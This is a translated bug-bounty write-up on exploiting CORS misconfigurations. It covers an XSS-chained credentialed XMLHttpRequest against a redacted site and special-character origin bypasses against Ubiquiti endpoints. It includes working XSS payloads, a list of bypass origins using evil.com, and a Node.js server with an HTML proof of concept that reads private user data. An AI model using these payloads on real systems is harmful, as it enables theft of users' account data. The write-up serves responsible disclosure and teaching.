嗨,大家好
我叫Ayoub,我是摩洛哥的安全研究员。在本文中,我将描述两种如何利用CORS错误配置的情况:第一种情况基于XSS,需要在范围之外进行思考,第二种情况是基于高级CORS利用技术。
注意:在开始阅读本文之前,您需要对CORS是什么以及如何利用错误配置有基本的了解。以下是一些很棒的帖子,可让你了解他的用法:
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
情况1
大约一年前,我正在入侵这个由HackerOne托管的私有程序。在HTTP请求中使用Origin头之后,然后检查服务器响应以检查它们是否进行了域白名单检查,我注意到该应用程序仅将子域(甚至是不存在的子域)盲目地列入了白名单。
出于隐私原因和负责任的披露政策,我们假定该Web应用程序托管在:www.redacted.com
这种CORS配置错误看起来像这样:
HTTP请求:
GET /api/return HTTP / 1.1
host:www.redacted.com
Origin:evil.redacted.com
Connection:close
HTTP响应:
HTTP / 1.1 200 OK
Access-control-allow-credentials:true
Access-control-allow-origin:evil.redacted.com
该API端点正在返回用户的私人信息,例如全名,电子邮件地址等。
要利用此错误配置进行攻击,例如泄露用户的私人信息,我们需要声明一个废弃的子域(子域接管),或者在一个现有子域中找到XSS。
在范围之外思考
找到一个废弃的子域并不是一件容易的事,因此我决定选择第二种方法,即在一个现有子域中找到一个XSS。但是,此私有程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS绝对不在范围内,但是在范围内以某种方式将此XSS与CORS错误配置链接在一起。
而且,其他子域不在范围之内的事实是让我更加自信的原因,因为在其他子域中不会进行测试,因此很有可能在这些子域上找到XSS。
因此,我怀着充满希望的心情开始搜索此XSS,并在不到一个小时的时间内,使用以下负载在banques.redacted.com中找到了一个。
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
因此,要利用此CORS错误配置,我们只需要用以下代码替换XSS
payload:alert(document.domain)
Function cors(){
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function(){
if(this.status == 200){
alert(this.responseText);
document.getElementById(“ demo”)。innerHTML = this.responseText;
}
};
xhttp.open(“ GET”,“ https://www.redacted.com/api/return”,true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
像这样 :
https://banques.redacted.com/choice-quiz?form_banque= “> <script> function%20cors(){var%20xhttp = new%20XMLHttpRequest();
xhttp.onreadystatechange = function(){if(this.status == 200)alert(this.responseText); document.getElementById(“ demo”).innerHTML = this.responseText}};
xhttp.open(“ GET”,“ https://www.redacted.com/api/return “,true);
xhttp.withCredentials = true; xhttp.send()} cors();
</ script> &form_cartes = 73&iframestat = 1
还有Voilà,我们现在有了一个不错的PoC:
我拿到的奖励
现在,如果我告诉你仍然可以利用此漏洞,而无需在任何现有子域中找到XSS或声明被放弃的子域,这正是我们将在第二种情况下讨论的内容。
情况2
这次,我正在研究Ubnt,尤其是托管在以下位置的应用程序:https : //protect.ubnt.com/
按照相同的过程,我确定了相同的CORS错误配置,与之前的情况类似,但是这次应用程序从其他位置获取用户的私人信息,该API是在:https : //client.amplifi.com/ api /user/
该应用程序还盲目地将所有子域列入白名单,甚至是不存在的子域。
而且,正如我们之前讨论的那样,要利用此CORS错误配置,您将需要要么声明一个废弃的子域,要么在一个现有子域中找到XSS。
并且由于这是一个公共程序,因此具有很大的范围(所有子域都在范围内);找到XSS的机会很小,甚至没有提到子域接管漏洞。
高级的CORS技术
事实证明,还有另一种方法,但这需要一定的条件才能起作用。
最近做了一个有趣的研究。
https://www.corben.io/advanced-cors-techniques/找到Corben Leo可以发现在这里。可以绕过域名内部使用特殊字符错误实施的某些控件。
这项研究基于以下事实:浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。
例如:
完全理解此问题后,让我们尝试打开一个带有特殊字符的URL,例如:http://asdf`+=.withgoogle.com. 大多数浏览器会在发出任何请求之前先验证域名。
域名withgoogle.com,用作演示,因为它 有一个通配符DNS记录
chrome:
Firefox:
Safari:
如您所见,Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其他浏览器不同。
我们可以使用各种不同的字符,甚至是无法打印的字符:
,&’“; !! $ ^ *()+ =`〜-_ = | {}%
//不可打印的字符
%01-08,%0b,%0c,%0e,%0f,%10-%1f, %7f
此外,可以在
https://www.bedefended.com/papers/cors-security-guide
找到Davide Danelon进行的另一项研究,结果表明,这些特殊字符的其他子集也可以在其他浏览器上使用。
现在,我们了解了所有这些信息,我们如何利用这个问题来执行这个漏洞利用,作为一个很好的演示,让我们回到以下易受攻击的Web应用程序:https : //client.amplifi.com/
新的方法
在这种情况下,Web应用程序还接受以下Origin * .ubnt.com!.evil.com
不只是字符“!” ,还包括以下内容:
- .ubnt.com!.evil.com
- .ubnt.com“ .evil.com
- .ubnt.com $ .evil.com
- .ubnt.com%0b.evil.com
- .ubnt.com%60.evil .com
- .ubnt.com&.evil.com
- .ubnt.com’.evil.com
- .ubnt.com(.evil.com
- .ubnt.com).evil.com
- .ubnt.com * .evil。 com
- .ubnt.com,.evil.com
- .ubnt.com; .evil.com
- .ubnt.com = .evil.com
- .ubnt.com ^ .evil.com
- .ubnt.com`.evil。 com
- .ubnt.com {.evil.com
- .ubnt.com | .evil.com
- .ubnt.com} .evil.com
- .ubnt.com〜.evil.com
现在应该知道某些浏览器(例如Safari)接受带有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com。
因此,如果我们使用通配符DNS记录设置域:evil.com,允许将所有子域(* 。evil.com)指向www.evil.com,它将在如下页面中托管脚本:www。 evil.com/cors-poc只会将带有子域名作为来源值的跨域请求发送到易受攻击的端点
然后,我们以某种方式强迫经过身份验证的用户打开链接:https://zzzz.ubnt.com=.evil.com / cors-poc
从理论上讲,我们可以窃取该用户的私人信息。
漏洞复现:
首先,设置一个带有通配符DNS记录的域名,该记录将其指向您的邮箱,在我的情况下,我使用GoDaddy托管我的域,并进行以下配置:
2.安装NodeJS,创建一个新目录,然后在其中保存以下文件:
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req,res){
if(req.url =='/ cors-poc'){
fs.readFile('cors.html',function(err,data){
res.writeHead (200,{'Content-Type':'text / html'});
res.write(data);
res.end();
});
}else{
res.writeHead(200,{'Content-Type': 'text / html'});
res.write(' never gonna give you up...');
res.end();
}
}).listen(port,'0.0.0.0');
console.log(` Serving on port ${port}`);
3.在同一目录中,保存以下内容:
cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
4.通过运行以下命令来启动NodeJS服务器:
node serve.js&
5.现在,通过以下网址登录该应用程序:https : //protect.ubnt.com/,并检查是否可以从以下端点检索帐户信息:https : //client.amplifi.com/api/user/
6.最后,在Safari浏览器和Voilà中打开链接:https://zzzz.ubnt.com=.evil.com / cors-poc。
就我而言,由于我没有Mac机器,因此我在iPhone中将Safari浏览器用作PoC。
我的奖励
最后
我确信很多安全研究人员已经遇到过这种情况,并且您可以在HackerOne中找到很多描述这种CORS错误配置的报告,但是由于缺乏PoC,只有少数能够充分利用它。在他们的报告中。
这就是我要分享经验的原因之一。还重点介绍了利用这种漏洞的其他技术。
最后,永远记住,有时您只需要在 “ Boox” 范围之外思考。
谢谢阅读。请随时在Twitter https://twitter.com/sandh0t上关注我。
本文翻译自:https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
免责申明:本文由互联网整理翻译而来,仅供个人学习参考,如有侵权,请联系我们,告知删除。